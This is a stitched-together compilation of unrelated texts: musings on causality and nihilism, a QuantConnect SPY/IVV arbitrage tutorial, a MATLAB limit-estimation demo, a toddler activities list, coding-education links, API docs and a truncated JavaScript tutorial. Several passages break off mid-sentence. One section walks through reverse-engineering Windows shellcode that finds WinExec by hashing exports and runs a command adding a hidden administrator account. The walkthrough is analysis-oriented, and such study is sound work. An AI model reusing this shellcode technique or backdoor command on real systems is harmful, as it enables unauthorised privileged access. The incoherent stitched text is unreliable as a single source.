Circling back to the notions of liberty and independence, as they relate to the individual and to society collectively: if an individual cannot understand the causal course of action leading them to take responsibility for their freely chosen actions, then how can the social aggregate similarly understand how its individuals collective actions led to trends and outcomes? If individuals’ systems of values become increasingly disconnected to casual processes in society. Individuals are instinctively compelled to seek affirmation of how their values connect behavior-types, perception of social motivations and observation of cause and effect to positive and negative. Yet, perception of the causal course of events is necessary for this process. If the notions of virtues and virtuous behavior gradually break down, then society systemically develops social ills stemming from gradual dissimilation of individual’s incentivization models – viz. The factors that motivate action of individuals and social groups becomes increasingly detached from one another and from the whole, as without virtues there’s no shared sense of values or commonly valued behavior-types.
Causality is a Diffusion Process
In the analytic language of social physics, causality is a diffusion process. The problem is that humanity’s practical apprehension of causality is … untenable, at best. More is to come of this, as I Ching breaks and reshapes my mind.
From the mind of a child to himself:
“Ideally, what am I supposed to be? ….
… Now that convolution of causality has thus rendered intractible the evaluation and acquisition of values.”
Who can pose such questions to himself? A five-year-old? What is this sociophysical diffusion process?
Stop Nursing That Glass of Nihilism And Do Something
Nihilism isn’t exactly warm cocoa…
When it’s already impossible to cooperatively communicate about politics, how can we address the problem’s that social hyperconnection causes for a Republic? Further, when the next generation may not be assumed to have an implicit, albeit perhaps subconscious, appreciation for congruence of the human condition. As for this generation or the next, will it be possible to make them care?
Hegel Wins
Preparing to download noumenological forms from the aethereal plane of the ineffable mysteries… . . . .
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We implement a manual universe selection model that includes our two ETFs, SPY and IVV. The attached research notebook finds the correlation of daily returns to be >0.99.
tickers = ['IVV', 'SPY'] symbols = [ Symbol.Create(t, SecurityType.Equity, Market.USA) for t in tickers ] self.SetUniverseSelection( ManualUniverseSelectionModel(symbols) )
Plotting the ratio of the security prices shows its trending behavior.
Without adjusting this ratio over time, an arbitrage system would be stuck in a single trade for majority of the backtest. To resolve this, we subtract a trailing mean from each data point.
Both of the above plots can be reproduced in the attached research notebook. During backtesting, this adjustment is done during trading by setting up a QuoteBarConsolidator for each security in our universe. On each new consolidated QuoteBar, we update the trailing window of L1 data, then calculate the latest spread adjustment values.
# In OnSecuritiesChanged for symbol in self.symbols: self.consolidators[symbol] = QuoteBarConsolidator(1) self.consolidators[symbol].DataConsolidated += self.CustomDailyHandler algorithm.SubscriptionManager.AddConsolidator(symbol, self.consolidators[symbol]) def CustomDailyHandler(self, sender, consolidated): # Add new data point to history while removing expired history self.history[consolidated.Symbol]['bids'] = np.append(self.history[consolidated.Symbol]['bids'][1:], consolidated.Bid.Close) self.history[consolidated.Symbol]['asks'] = np.append(self.history[consolidated.Symbol]['asks'][1:], consolidated.Ask.Close) self.update_spread_adjusters() def update_spread_adjusters(self): for i in range(2): numerator_history = self.history[self.symbols[i]]['bids'] denominator_history = self.history[self.symbols[abs(i-1)]]['asks'] self.spread_adjusters[i] = (numerator_history / denominator_history).mean()
The ArbitrageAlphaModel monitors the intraday bid and ask prices of the securities in the universe. In the constructor, we can specify the model parameters. In this tutorial, we select a shorter window an arbitrage opportunity must be active before we act on it by setting `order_delay` to 3.
class ArbitrageAlphaModel(AlphaModel): symbols = [] # IVV, SPY entry_timer = [0, 0] exit_timer = [0, 0] spread_adjusters = [0, 0] long_side = -1 consolidators = {} history = {} def __init__(self, order_delay = 3, profit_pct_threshold = 0.02, window_size = 400): self.order_delay = order_delay self.pct_threshold = profit_pct_threshold / 100 self.window_size = window_size
To emit insights, we check if either side of the arbitrage strategy warrants an entry. If no new entries are to be made, the algorithm then looks to exit any current positions. With this design, we can flip our long/short bias without first flattening our position. We use a practically-infinite insight durations as we do not know how long the algorithm will be in an arbitrage trade.
# Search for entries for i in range(2): if quotebars[abs(i-1)].Bid.Close / quotebars[i].Ask.Close - self.spread_adjusters[abs(i-1)] >= self.pct_threshold: self.entry_timer[i] += 1 if self.entry_timer[i] == self.order_delay: self.exit_timer = [0, 0] if self.long_side == i: return [] self.long_side = i return [Insight.Price(self.symbols[i], timedelta(days=9999), InsightDirection.Up), Insight.Price(self.symbols[abs(i-1)], timedelta(days=9999), InsightDirection.Down)] else: return [] self.entry_timer[i] = 0 # Search for an exit if self.long_side >= 0: # In a position if quotebars[self.long_side].Bid.Close / quotebars[abs(self.long_side-1)].Ask.Close - self.spread_adjusters[self.long_side] >= 0: # Exit signal self.exit_timer[self.long_side] += 1 if self.exit_timer[self.long_side] == self.order_delay: # Exit signal lasted long enough self.exit_timer[self.long_side] = 0 i = self.long_side self.long_side = -1 return [Insight.Price(self.symbols[i], timedelta(days=9999), InsightDirection.Flat), Insight.Price(self.symbols[abs(i-1)], timedelta(days=9999), InsightDirection.Flat)] else: return [] return []
Following the guidelines of Alpha Streams and the Quant League competition, we utilize the EqualWeightingPortfolioConstructionModel and the ImmediateExecutionModel.


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Discovered what API functions were used
Discovered how the API functions were resolved and what hash cipher was used
What the malware created on the system
How the malware traversed the PEB
How the malware traversed the PE
seg000:00000000 seg000 segment byte public 'CODE' use32
seg000:00000000 assume cs:seg000
seg000:00000000 assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing
seg000:00000000 pusha
seg000:00000001 mov ebp, esp
seg000:00000003 sub esp, 40h
seg000:00000006 mov eax, esp
seg000:00000008 xor al, al
seg000:0000000A mov esp, eax
Function prologue... setting up stack frame.

We are in the InMemoryOrderLinks at offset 0x08...
0x08 + 0x10 = 0x18
0x18 = DllBase Address
Edx = Kernel32.dll DllBase
Kernel32.dll is always the third entry in the InMemoryOrderLinks
:000> !peb
PEB at 7efde000
InheritedAddressSpace: No
ReadImageFileExecOptions: No
BeingDebugged: Yes
ImageBaseAddress: 00400000
Ldr 76fa0200
Ldr.Initialized: Yes
Ldr.InInitializationOrderModuleList: 006e3d48 . 006e4a90
Ldr.InLoadOrderModuleList: 006e3ca8 . 006e4a80
Ldr.InMemoryOrderModuleList: 006e3cb0 . 006e4a88
Base TimeStamp Module
400000 002198e8 Jan 26 03:37:12 1970 C:\shellcode\corelan9\msb.exe
76ea0000 5507b3e0 Mar 16 21:56:00 2015 C:\Windows\SysWOW64\ntdll.dll
75ab0000 5507b484 Mar 16 21:58:44 2015 C:\Windows\syswow64\kernel32.dll
seg000:00000020 mov [ebp-4], edx
seg000:00000023 push eax
seg000:00000024 push esi
seg000:00000025 push 0E8AFE98h
seg000:0000002A push dword ptr [ebp-4]
seg000:0000002D
seg000:0000002D loc_2D: ; DATA XREF: seg000:loc_Cr
seg000:0000002D call sub_AB
eax = _PEB_LDR_DATA
esi = InMemoryOrderModuleList
0E8AFE98h = Function hash
[ebp-4] = DllBase
C:\Users\Topher>hashing.py /mod c:\windows\system32 kernel32
.dll | grep E8AFE98
[+] 0xE8AFE98 = kernel32.dll!WinExec
Called twice in the shellcode... figure it out once!
seg000:000000AB pusha
seg000:000000AC mov ebp, [esp+20h+arg_0] #arg_o is 4
Build the stack to see what 20h + 4 is...
We had 4 pushes onto this stack before call
L| ESI | <--- ESP
| EBP |
| ESP |
| EBX |
| EDX |
| ECX |
| EAX |
| DllBase |
| Function Hash |
| InMemoryOrderModuleList |
H| PEB |
ebp, [esp+20h+arg_0] #arg_o is 4 = ESP + 0x24
ESP+0x24 = DllBase
seg000:000000B0 mov eax, [ebp+3Ch]
seg000:000000B3 mov edx, [ebp+eax+78h]
DllBase = start of PE header = _IMAGE_DOS_HEADER
>>> dt("_IMAGE_DOS_HEADER")
'_IMAGE_DOS_HEADER' (64 bytes)
0x0 : e_magic ['unsigned short']
0x2 : e_cblp ['unsigned short']
0x4 : e_cp ['unsigned short']
0x6 : e_crlc ['unsigned short']
0x8 : e_cparhdr ['unsigned short']
0xa : e_minalloc ['unsigned short']
0xc : e_maxalloc ['unsigned short']
0xe : e_ss ['unsigned short']
0x10 : e_sp ['unsigned short']
0x12 : e_csum ['unsigned short']
0x14 : e_ip ['unsigned short']
0x16 : e_cs ['unsigned short']
0x18 : e_lfarlc ['unsigned short']
0x1a : e_ovno ['unsigned short']
0x1c : e_res ['array', 4, ['unsigned short']]
0x24 : e_oemid ['unsigned short']
0x26 : e_oeminfo ['unsigned short']
0x28 : e_res2 ['array', 10, ['unsigned short']]
0x3c : e_lfanew ['long']
ebp is _IMAGE_DOS_HEADER
0x3c into header is e_lfanew
e_lfanew -> Poiner to _IMAGE_NT_HEADER
eax is now _IMAGE_NT_HEADER
>>> dt("_IMAGE_NT_HEADERS")
'_IMAGE_NT_HEADERS' (248 bytes)
0x0 : Signature ['unsigned long']
0x4 : FileHeader ['_IMAGE_FILE_HEADER']
0x18 : OptionalHeader ['_IMAGE_OPTIONAL_HEADER']
eax is _IMAGE_NT_HEADER and ebp is _IMAGE_NT_HEADER
78 bytes into the _IMAGE_NT_HEADER is an offset in _IMAGE_OPTIONAL_HEADER
0x78 - 0x18 = 0x60
>>> dt("_IMAGE_OPTIONAL_HEADER")
'_IMAGE_OPTIONAL_HEADER' (224 bytes)
0x0 : Magic ['unsigned short']
[snip]
0x58 : LoaderFlags ['unsigned long']
0x5c : NumberOfRvaAndSizes ['unsigned long']
0x60 : DataDirectory ['array', 16, ['_IMAGE_DATA_DIRECTORY']]
>>> dt("_IMAGE_DATA_DIRECTORY")
'_IMAGE_DATA_DIRECTORY' (8 bytes)
0x0 : VirtualAddress ['unsigned long']
0x4 : Size ['unsigned long']
PEView is useful here... parse anything on disk!
>>> dt("_IMAGE_EXPORT_DIRECTORY")
'_IMAGE_EXPORT_DIRECTORY' (40 bytes)
0x10 : Base ['unsigned int']
0x14 : NumberOfFunctions ['unsigned int']
0x18 : NumberOfNames ['unsigned int']
0x1c : AddressOfFunctions ['unsigned int']
0x20 : AddressOfNames ['unsigned int']
0x24 : AddressOfNameOrdinals ['unsigned int']
seg000:000000B9 mov ecx, [edx+18h]
seg000:000000BC mov ebx, [edx+20h]
ecx is NumberOfNames
ebx is AddressOfNames
ecx is counter / number of exports
ebx is array of export names
32 bit pointers are 4 bytes...
mov esi, [ebx+ecx*4] = Traverse array of names and grab one!
Hash each function name from address of names until one matches the value we pushed (location esp+20h+arg_4)
With a match, go to loc_DA
seg000:000000DA loc_DA: ; CODE XREF: sub_AB+26j
seg000:000000DA cmp edi, [esp+20h+arg_4]
seg000:000000DE jnz short loc_C1
seg000:000000E0 mov ebx, [edx+24h]
seg000:000000E3 add ebx, ebp
seg000:000000E5 mov cx, [ebx+ecx*2]
seg000:000000E9 mov ebx, [edx+1Ch]
seg000:000000EC add ebx, ebp
seg000:000000EE mov eax, [ebx+ecx*4]
seg000:000000F1 add eax, ebp
seg000:000000F3 mov [esp+20h+var_4], eax
seg000:000000F7
seg000:000000F7 loc_F7: ; CODE XREF: sub_AB:loc_C1j
seg000:000000F7 popa
seg000:000000F8 retn
We have a matched hash
Take address of export table and go into it 0x24 bytes
mov ebx, [edx+24h]
>>> dt("_IMAGE_EXPORT_DIRECTORY")
'_IMAGE_EXPORT_DIRECTORY' (40 bytes)
0x10 : Base ['unsigned int']
0x14 : NumberOfFunctions ['unsigned int']
0x18 : NumberOfNames ['unsigned int']
0x1c : AddressOfFunctions ['unsigned int']
0x20 : AddressOfNames ['unsigned int']
0x24 : AddressOfNameOrdinals ['unsigned int']
0x24 = AddressOfNameOrdinals
Ordinal = value associated with each export... another way to find them.
We know how many entries into the _IMAGE_EXPORT_DIRECTORY we are as we kept track
mov ordinal value into cx
0x1c : AddressOfFunctions ['unsigned int']
mov eax, [ebx+ecx*4]
Same as before.. now get the address of that function we hashed!
We now have the location of the function we want to execute in a register (eax) after sub_AB
Using that value, we can setup our stack frames however we want (to that API function) and call it
seg000:00000032 jmp short $+2
seg000:00000034 jmp short loc_54
seg000:00000036 ; ---------------------------------------------------------------------------
seg000:00000036
seg000:00000036 loc_36: ; CODE XREF: seg000:loc_54p
seg000:00000036 pop ecx ;string
seg000:00000037 xor edx, edx
seg000:00000039 push edx
seg000:0000003A push ecx
seg000:0000003B call eax ;WinExec
seg000:00000054 loc_54: ; CODE XREF: seg000:00000034j
seg000:00000054 call loc_36
seg000:00000054 ; ---------------------------------------------------------------------------
seg000:00000059 aCmd_exeCNetUse db 'cmd.exe /c net user 0xC0ff33 c0ff33 /ADD && net localgroup Admini'
seg000:00000059 db 'strators /ADD 0x',0
C:\Users\Topher>hashing.py /mod c:\windows\system32 kernel32
.dll | grep 73E2D87E
[+] 0x73E2D87E = kernel32.dll!ExitProcess
push 73E2D87Eh
seg000:00000047 push dword ptr [ebp-4]
seg000:0000004A call sub_AB
seg000:0000004F xor esi, esi
seg000:00000051 push esi
seg000:00000052 call eax
Exit Process with no exit code...
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| Published: | 2018-05-14 |
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Computation of a limit usually involves a function that we cannot evaluate at the point of interest. It is often due to a singularity at the point of interest that we cannot evaluate the function. Limest does the work for you, carefully extrapolating your function down to the limiting value.
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Contents
- Limit of sin(x)/x, x --> 0
- The derivative as a limit, using the definition of a derivative
- Find the residue at a first order pole
- A limit with a low order subtractive cancellation
- The function needs not be vectorized
- A limit with a higher order subtractive cancellation
- Changing the order of the method used
- The highest accuracy
- Harder problems are still solvable
- Limits in the complex plane
- A limit at infinity
- A limit from two different directions
- No problems on functions that are well defined at the limit point
- If the limit does not exist, the error estimate will be large.
Limit of sin(x)/x, x --> 0
The true limit is 1, but note that MATLAB will not return the limiting value of this function at zero. Instead, we get a 0/0 result, a NaN.
format long g sin(0)./0
ans = NaN
Limest can properly predict the required limit, at the same time returning a measure of its uncertainty in that estimate.
[lim,err] = limest(@(x) sin(x)./x,0)
lim = 1 err = 3.10418245619633e-15
The derivative as a limit, using the definition of a derivative
Find d(cos(x))/dx at x == pi/2. That derivative is -1. The limit will be taken as a function of the differential parameter, dx. So we take the limit as dx --> 0, for a fixed value of x0.
x0 = pi/2; [lim,err] = limest(@(dx) (cos(x0+dx) - cos(x0))./dx,0)
lim = -1 err = 2.83371792311754e-15
Find the residue at a first order pole
The function 1./(1-exp(2*z)) has a simple pole at z=0. The residue is given by the limit of (z-0)*fun(z) as z approaches the pole at 0.
Here, that residue should be -0.5.
[lim,err] = limest(@(z) z./(1-exp(2*z)),0)
lim = -0.500000000000235 err = 4.53752019010913e-12
A limit with a low order subtractive cancellation
f(x) = (exp(x)-1)./x
As x --> 0, f(x) should approach 1. We can see from the series approximation for exp(x), the first term is 1. But when x is very near zero, the constant term dominates, then we subtract 1 and divide by x. But it is too late, since information is already lost.
[lim,err] = limest(@(x) (exp(x)-1)./x,0)
lim = 0.999999999999298 err = 7.63157643380744e-13
The function needs not be vectorized
In the previous example, the function was written in a vectorized form, using ./ where that was appropriate. Of course, not all functions can be easily so written.
If the function is not vectorized, then tell limest not to expect that.
[lim,err] = limest(@(x) (exp(x)-1)./x,0,'Vectorized','no')
lim = 0.999999999999298 err = 7.63157643380744e-13
A limit with a higher order subtractive cancellation
f(x) = (x.*exp(x)-exp(x)+1)./x.^2
As x --> 0, f(x) should approach 0.5. Compared to the previous example, the cancellation is now of second order. The true limit should be 0.5.
fun = @(x) (x.*exp(x)-exp(x)+1)./x.^2;
Evaluation of this function too near the limit point returns numerical trash. Yet, if we move a little further away from the limit point, the function gives a less accurate approximation.
fun(0) fun(1e-12) fun(1e-9) fun(1e-8) fun(1e-6) fun(1e-3)
ans = NaN ans = 0 ans = 0 ans = 1.11022302462516 ans = 0.500044450291171 ans = 0.500333458330893
Limest can predict a more accurate limiting value than any single function evaluation. See that the error estimate is roughly of the order of sqrt(eps).
[lim,err] = limest(fun,0)
lim = 0.500000000094929 err = 1.56957823156003e-09
Changing the order of the method used
In the previous example, we might choose to change the order of the approximations used. Generally, higher order methods will be better than very low order ones, but too high of an order may suffer from numerical problems too. The default MethodOrder is 4.
fun = @(x) (x.*exp(x)-exp(x)+1)./x.^2; disp('MethodOrder == 1') [lim,err] = limest(fun,0,'MethodOrder',1) disp('MethodOrder == 2') [lim,err] = limest(fun,0,'MethodOrder',2) disp('MethodOrder == 3') [lim,err] = limest(fun,0,'MethodOrder',3) disp('MethodOrder == 4') [lim,err] = limest(fun,0,'MethodOrder',4) disp('MethodOrder == 5') [lim,err] = limest(fun,0,'MethodOrder',5) disp('MethodOrder == 6') [lim,err] = limest(fun,0,'MethodOrder',6) disp('MethodOrder == 7') [lim,err] = limest(fun,0,'MethodOrder',7) disp('MethodOrder == 8') [lim,err] = limest(fun,0,'MethodOrder',8)
MethodOrder == 1 lim = 0.50000355697623 err = 5.18440971081941e-05 MethodOrder == 2 lim = 0.499999966564625 err = 3.25141880697321e-07 MethodOrder == 3 lim = 0.5000000018941 err = 1.44398490012884e-08 MethodOrder == 4 lim = 0.500000000094929 err = 1.56957823156003e-09 MethodOrder == 5 lim = 0.500000000165239 err = 9.2459501732486e-10 MethodOrder == 6 lim = 0.500000001876956 err = 1.49243964407882e-08 MethodOrder == 7 lim = 0.500000043271551 err = 3.68286624919576e-07 MethodOrder == 8 lim = 0.499998271135458 err = 1.67740949173514e-05
The highest accuracy
Use a high order method, but force limest to evaluate the function at a much finer sampling of points. The default sampling will evaluate the function at roughly 25 points. By reducing the stepRatio to 1.25, this will increase to roughly 160 function evaluations.
[lim,err] = limest(fun,0,'MethodOrder',8,'Step',1.25)
lim = 0.500000000002992 err = 1.23941253664887e-12
Harder problems are still solvable
Cancelling three terms means that nearly any function evaluations anywhere near the limit point will be trash. The limit here is easily found by a Taylor series argument, but it is also solvable using limest. Since it is a high order of cancellation, we need to increase the order of the method, as well as force limest to look farther away than usual from the limit point.
fun = @(x) (exp(x)-1-x-x.^2/2)./x.^3; [lim,err] = limest(fun,0,'methodorder',6,'dz',1)
lim = 0.16666660231359 err = 5.71248948194576e-07
Limits in the complex plane
The limit of cos(z), as z --> is still 1, even if we approach that point from the complex plane. Note that the function may be supplied in a variety of forms. A string function name, an inline function, or an anonymous function.
[lim,err] = limest('cos',0,'DZ',0+.00001*sqrt(-1))
lim = 1 err = 5.06910872412027e-15
A limit at infinity
Take the limit of f(x) = exp(-x)+2, as x --> +inf
Since limest will not handle infinite limits, we must transform the problem. Turn the problem into a limit at 0. The true limit at x=inf is clearly 2.
fun = @(x) exp(-x) + 2; [lim,err] = limest(@(z) fun(1./z),0)
lim = 2 err = 1.0753203460192e-14
A limit from two different directions
A discontinuous function will have different limits as we approach from below versus from above. Also, I'll use an inline function to define the function.
fun = inline('sign(x)','x'); disp('Taking the limit from above, the result should be 1') [lim,err] = limest(fun,0,'dz',1) disp('Taking the limit from below, the result should be -1') [lim,err] = limest(fun,0,'dz',-1)
Taking the limit from above, the result should be 1 lim = 1 err = 5.37660173009599e-15 Taking the limit from below, the result should be -1 lim = -1 err = 5.37660173009599e-15
No problems on functions that are well defined at the limit point
Here the limit is a simple thing to know, since we can evaluate this function at the limit.
fun = @(x) tan(x); fun(0)
ans = 0
Limest succeeds, reflecting the problem simplicity with a quite small error estimate.
[lim,err] = limest(@(x) tan(x),0)
lim = -4.22420710127785e-24 err = 3.20497058398515e-22
If the limit does not exist, the error estimate will be large.
fun = @(x) sin(1./x); ezplot(fun) [lim,err] = limest(fun,0)
lim = 0.775477503783198 err = 0.144329285985061


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10 Activities to develop gross motor skills for toddlers
by AfricaParentKids develop gross motor skills at different rates. But when young kids have trouble with those skills, it can make gross motor activities like running, jumping and throwing difficult. If your child’s gross motor skills need a little extra help, try these fun activities.
Gross motor skills are the development of the greater, stronger muscles in your baby’s body. The following is a list of 10 gross motor skills activities for your toddlers to have fun and learn with.
Gross Motor Skills Activities For Toddlers
1. The Rowing Game
At this stage of your toddler’s life, he enjoys music more. He might even try to sing songs with you. Sit on the floor across from each other, hold hands and begin to rock like a boat. This will be easy because your baby is probably going through a stage where they love to rock.
Sing the song “Row, Row, Row Your Boat” and after each verse sing the next a bit faster while speeding up the rocking. Your little one will enjoy this time with you and will probably ask you to do it again.
2.  So why not create a fun sports activity you can play together?  Anything soft will work for this game. Stand with your toddler or get on your knees to be on the same level.
Then take turns tossing the “balls” into the basket. This will help to build your toddler’s upper body strength, eye-hand coordination, and they will learn how to take turns. When they make a basket, be sure to clap and cheer them on. This is so they completely understand the concept of the game.
3. Laundry Basket Wagon
This is another fun laundry basket activity. Make a handle on the basket by tying a string to one end. Gather stuffed animals and baby dolls and set them up inside the basket. Show your toddler how to pull the animals and babies through the house like a wagon.
4. Musical Instrument Fun
Now that your toddler is learning more about music, one of the best activities you can incorporate into play is an array of musical instruments. Consider a set of percussion instruments for the development of your toddler’s gross motor skills.
This selection of instruments will teach your little one how to shake the bells using their arms. And the sticks can be helpful in building arm strength when they glide them across the xylophone and bang them on the tambourine.
5. Bowling As A Gross Motor Skills Activity
This is the perfect stage to roll a ball back and forth to your toddler. So why not teach them how to bowl while you’re at it? You could easily play this game in the house or set it up in the driveway to enjoy the fresh air while having fun.
6. Little Birdie Copy Cat
This game gives your toddler a chance to mimic your moves while playing pretend. You should start by being the leader; spread your arms out pretending to be a bird. “Fly” around the room chirping and making different moves while he follows you copying you.
Let him be the leader next and you will do what he does. This game will cause him to giggle while he exercises his body and brain. This is another activity that will also help with teaching him to take turns.
7. Make the Goal
Using a ball and a cardboard box you can create the scene of a successful soccer game. Turn the box on its side to make a goal. Take turns kicking the ball into the goal. This is another game that can be set up indoors or out and can be enjoyed by the whole family.
This activity will keep your toddler moving. It will help with coordination, and it will teach him about taking turns. If you have more children, you can divide them up and use this as a team-building exercise.
8.  So make this a child development activity. Blow some bubbles and work together at catching them. Blow some toward the ground and show your toddler how to step on them.
Allow your little one to have a turn blowing the bubbles toward the ground for you to step on. You will probably want to save this for a nice afternoon outdoors.
9. Playground Activities Are Great Gross Motor Skills Activities
Spending time on the playground is not only important for the development of your child’s gross motor skills, but it’s also a lot of fun. When your little munchkin wants to swing, show him how to kick his legs back and forth to make the swing go by themselves. Climbing on a jungle gym and sliding down a slide are highlights of a playground visit too. If it’s not possible for you to visit a playground often, the best thing to do is make a playground in your backyard.
10.  With an indoor trampoline, that problem could be solved. The trampoline provides a safety bar to help your toddler keep a steady balance. This is the perfect way to keep them active and safe while playing indoors.
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- Junior Computer Science: A great site with many exciting activity ideas and planning resources for teaching Computer Science.
- Code Kingdoms: Code Kingdoms teaches Computer Science and programming in a way that’s fun for kids. The kids design their own game levels using real JavaScript code, which they can then share and challenge friends with.
- Algorithms KS1 & KS2: Unplugged activity ideas for teaching children about algorithms.
- Touch Develop – Scheme Of Work: Python to Touch Develop great resources for teaching programming concepts.
- django-marcador - a free Django tutorial
CS First
- CS First is a free program that increases student access and exposure to computer science (CS) education through after-school, in-school, and summer programs. All clubs are run by teachers and/or community volunteers.
Materials :
- are completely free and available online
- are targeted at students in grades 4th-8th (ages 9-14)
- can be tailored to fit your schedule and needs
- involve block-based coding using Scratch and are themed to attract students with varied interests
Apple
- Everyone Can Code
Technology has a language. It’s called code. At Apple we believe coding is an essential skill. Learning to code teaches you how to solve problems and work together in creative ways.  We think everyone should have the opportunity to create something that can change the world. So Apple has designed a programme that lets anyone learn, write and teach code.
- Swift Playgrounds
Swift Playgrounds is a revolutionary app for iPad that makes learning Swift interactive and fun.
Scratch
- Scratch Learning Resources: Brilliant Primary and Post Primary lesson plans using Scratch developed by Irish Software Engineering Research Centre.
iCode by iTeach
- iCode: iCode is an initiative created by iTeach to provide schools with a structured programme to run a coding and programming club as an after school, extra curricular activity or as a structured programme within the school day. A range of fantastic lesson plans, curriculum maps and resources are available to help teachers and school leaders embed coding, computing and computer science across the school.
Alice
Alice is a free 3D java based drag and drop programming environment. The resources below provide tutorials for creating animations and making games using Alice:
AppInventor
MIT App Inventor is a blocks-based programming tool that allows everyone, even novices, to start programming and build fully functional apps for Android devices. These resources provide example projects to start building apps with your students.
Hopscotch
Hopscotch is a drag and drop coding app available on iPads. This resource provides activity ideas to start coding using Hopscotch linked to the curriculum and computer science concepts.
Academy of Code
Academy of Code provides a free collection of interactive tutorials for HTML, CSS, JavaScript, PHP and MySQL.
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Class Resizable
Defines how flex-items react to the resizing of a flex-line.
Inheritance
Inherited Members
Namespace: Flexor
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Syntax
public static class Resizable
Properties
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Flex-item is allowed to resize automatically as there is space available. Item resizing ability is applied consistently across all CSS media query breakpoints.
Declaration
public static IResizable Auto { get; }
Property Value
| Type | Description |
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Default
Flex-item ability to resize is unset. Item resizing ability is applied consistently across all CSS media query breakpoints.
Declaration
public static IResizable Default { get; }
Property Value
| Type | Description |
|---|---|
| IResizable |
Fill
Flex-item will fill all available vertical and horizontal space within its flex-line. Item resizing ability is applied consistently across all CSS media query breakpoints.
Declaration
public static IResizable Fill { get; }
Property Value
| Type | Description |
|---|---|
| IResizable |
Grow
Flex-item is allowed to grow as there is space available. Item resizing ability is applied consistently across all CSS media query breakpoints.
Declaration
public static IResizable Grow { get; }
Property Value
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| IResizable |
Initial
Flex-item is not allowed to grow or shrink and will retain its initial size. Item resizing ability is applied consistently across all CSS media query breakpoints.
Declaration
public static IResizable Initial { get; }
Property Value
| Type | Description |
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| IResizable |
Is
Flex-item will be rendered and configured with the supplied resizable value. Rendering is configurable based on CSS media query breakpoints.
Declaration
public static IFluentResizable Is { get; }
Property Value
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NoGrow
Flex-item is not allowed to grow but can shrink if necessary. Item resizing ability is applied consistently across all CSS media query breakpoints.
Declaration
public static IResizable NoGrow { get; }
Property Value
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None
Flex-item will not resize. Item resizing ability is applied consistently across all CSS media query breakpoints.
Declaration
public static IResizable None { get; }
Property Value
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NoShrink
Flex-item is not allowed to shrink but can grow if necessary. Item resizing ability is applied consistently across all CSS media query breakpoints.
Declaration
public static IResizable NoShrink { get; }
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Now you've learned something about the theory of JavaScript, and what you can do with it, we are going to give you a crash course in the basic features of JavaScript via a completely practical tutorial. Here you'll build up a simple "Guess the number" game, step by step.
You won't be expected to understand all of the code in detail immediately — we just want to introduce you to the high level concepts for now, and give you an idea of how JavaScript (and other programming languages) work. In subsequent articles you'll revisit all these features in a lot more detail!
One of the hardest things to learn in programming is not the syntax you need to learn, but how to apply it to solve real world problems. You need to start thinking like a programmer — this generally involves looking at descriptions of what your program needs to do, working out what code features are needed to achieve those things, and how to make them work together.
This requires a mixture of hard work, experience with the programming syntax, and practice — plus a bit of creativity. The more you code, the better you'll get at it. We can't promise that you'll develop "programmer brain" in five minutes, but we will give you plenty of opportunity to practice thinking like a programmer throughout the course.
With that in mind, let's look at the example we'll be building up in this article, and review the general process of dissecting it into tangible tasks.
Let's imagine your boss has given you the following brief for creating this game:
I want you to create a simple guess the number type game. It should choose a random number between 1 and 100, then challenge the player to guess the number in 10 turns. After each turn the player should be told if they are right or wrong — and, if they are wrong, whether the guess was too low or too high. It should also tell the player what numbers they previously guessed. The game will end once the player guesses correctly, or once they run out of turns. When the game ends, the player should be given an option to start playing again.
Upon looking at this brief, the first thing we can do is to start breaking it down into simple actionable tasks, in as much of a programmer mindset as possible:
Let's now move forward, looking at how we can turn these steps into code, building up the example, and exploring JavaScript features as we go.
To begin this tutorial, we'd like you to make a local copy of the number-guessing-game-start.html file (see it live here). Open it in both your text editor and your web browser. At the moment you'll see a simple heading, paragraph of instructions and form for entering a guess, but the form won't currently do anything.
The place where we'll be adding all our code is inside the
Let's get started. First of all, add the following lines inside your


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